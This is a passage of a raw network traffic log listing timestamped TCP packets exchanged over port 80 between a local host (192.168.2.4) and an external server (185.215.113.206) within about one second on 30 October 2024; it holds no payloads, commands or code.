Oct 30, 2024 20:13:22.600366116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.600414038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.600416899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.600466013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.601043940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.601147890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.689039946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689109087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689143896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689178944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689228058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.689228058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.689282894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689341068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.689351082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689385891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689410925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.689466000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.689524889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689563036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.689577103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.689608097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.690103054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.690152884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.690304995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.721832991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.721951008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.721986055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.722019911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.722048998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.722048998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.722088099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.722093105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.722136974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.722187996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.722268105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.722300053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.722321033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.722364902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.722434044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.722479105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.816391945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.816451073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.816467047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.816487074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.816521883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.816521883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.816606045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.816638947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.816651106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.816735029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.817037106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.817091942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.817137003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.817188025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.817204952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.817219019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.817277908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.817277908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.843686104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.843739033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.843760967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.843772888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.843801022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.843811035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.843900919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.843950033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.844002008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.844145060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.844197035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.844209909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.844230890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.844248056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.844295979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.844502926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.844562054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.844593048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.844626904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.844643116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.844667912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.844693899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.844734907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.932689905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.932744980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.932780981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.932790995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.932790995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.932831049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.932890892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.932899952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.932959080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.933012009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.933046103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.933085918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.933085918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.933109999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.933187962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.965549946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.965607882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.965643883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.965647936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.965682030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.965691090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.965755939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.965806007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.965853930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.965853930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.965868950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.965939045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.965959072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.966001987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.966007948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.966048956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.966116905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.966150045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.966172934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.966213942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.966728926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.966782093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.966790915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.966820002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:22.966856003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:22.966861963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.054223061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.054305077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.054431915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.054442883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.054459095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.054490089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.054518938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.054562092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.054598093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.054646969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.054706097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.054707050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.054717064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.054768085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.054824114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.055058956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.087270975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087361097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.087433100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087444067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087456942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087523937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.087523937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.087543964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087579966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.087606907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087697029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.087723017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087733984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087775946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.087939978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.087989092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.088032007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.088043928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.088104963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.088157892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.088169098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.088202953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.176305056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.176379919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.176388979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.176423073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.176469088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.176469088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.176518917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.176552057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.176575899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.176587105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.176611900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.176677942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.176697016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.176729918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.176770926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.176784039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.177078009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.177150011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.177174091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.177222013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.177268028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.177268028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.208934069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.208945036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.208986044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.209031105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.209044933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.209105968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.209105968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.209106922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.209106922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.209212065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.209223032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.209321976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.209896088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.209952116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.209980011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.210036039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.210036993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.210089922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.210181952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.210249901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.210251093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.210263014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.210311890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.210359097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.210402966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.298074007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298084974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298211098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298223019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298382044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298393011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298408985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.298408985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.298433065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.298665047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298713923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.298718929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298755884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.298773050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298846960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298857927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.298886061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.298886061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.298904896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.299212933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.299262047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.299288034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.299376011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.331284046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331302881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331321001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331343889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.331374884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.331443071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331455946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331511974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.331511974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.331634045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331723928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331736088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331796885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.331856966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331875086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.331909895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.331933975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.332505941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.332573891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.332581043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.332596064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.332632065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.434941053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.434993982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.434993982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.435005903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.435034037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.435046911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.435067892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.435107946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.435174942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.435276985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.435388088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.435414076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.435425997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.435432911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.435453892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.435487032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.435489893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.435532093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.452605963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.452624083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.452636003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.452665091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.452665091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.452681065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.452892065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.452933073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.453074932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.453085899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.453133106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.453133106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.453382969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.453392982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.453408957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.453425884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.453453064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.453502893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.453543901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.453866005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.453911066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.454072952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.454083920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.454114914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.454133987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.454230070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.454241037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.454272032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.454304934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.454724073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.454828024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.454880953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.454890966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.454921961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.454932928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.541747093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.541829109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.541868925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.541879892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.541910887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.541925907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.542413950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.542426109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.542438030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.542480946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.542480946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.542557955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.542619944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.542742014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.542752981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.542805910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.542897940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.542943954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.574354887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.574367046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.574384928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.574474096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.574486017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.574485064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.574496984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.574513912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.574513912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.574532032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.574567080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.574960947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575016975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575027943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:23.575033903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:23.575068951 CET	49758	80	192.168.2.4	185.215.113.206
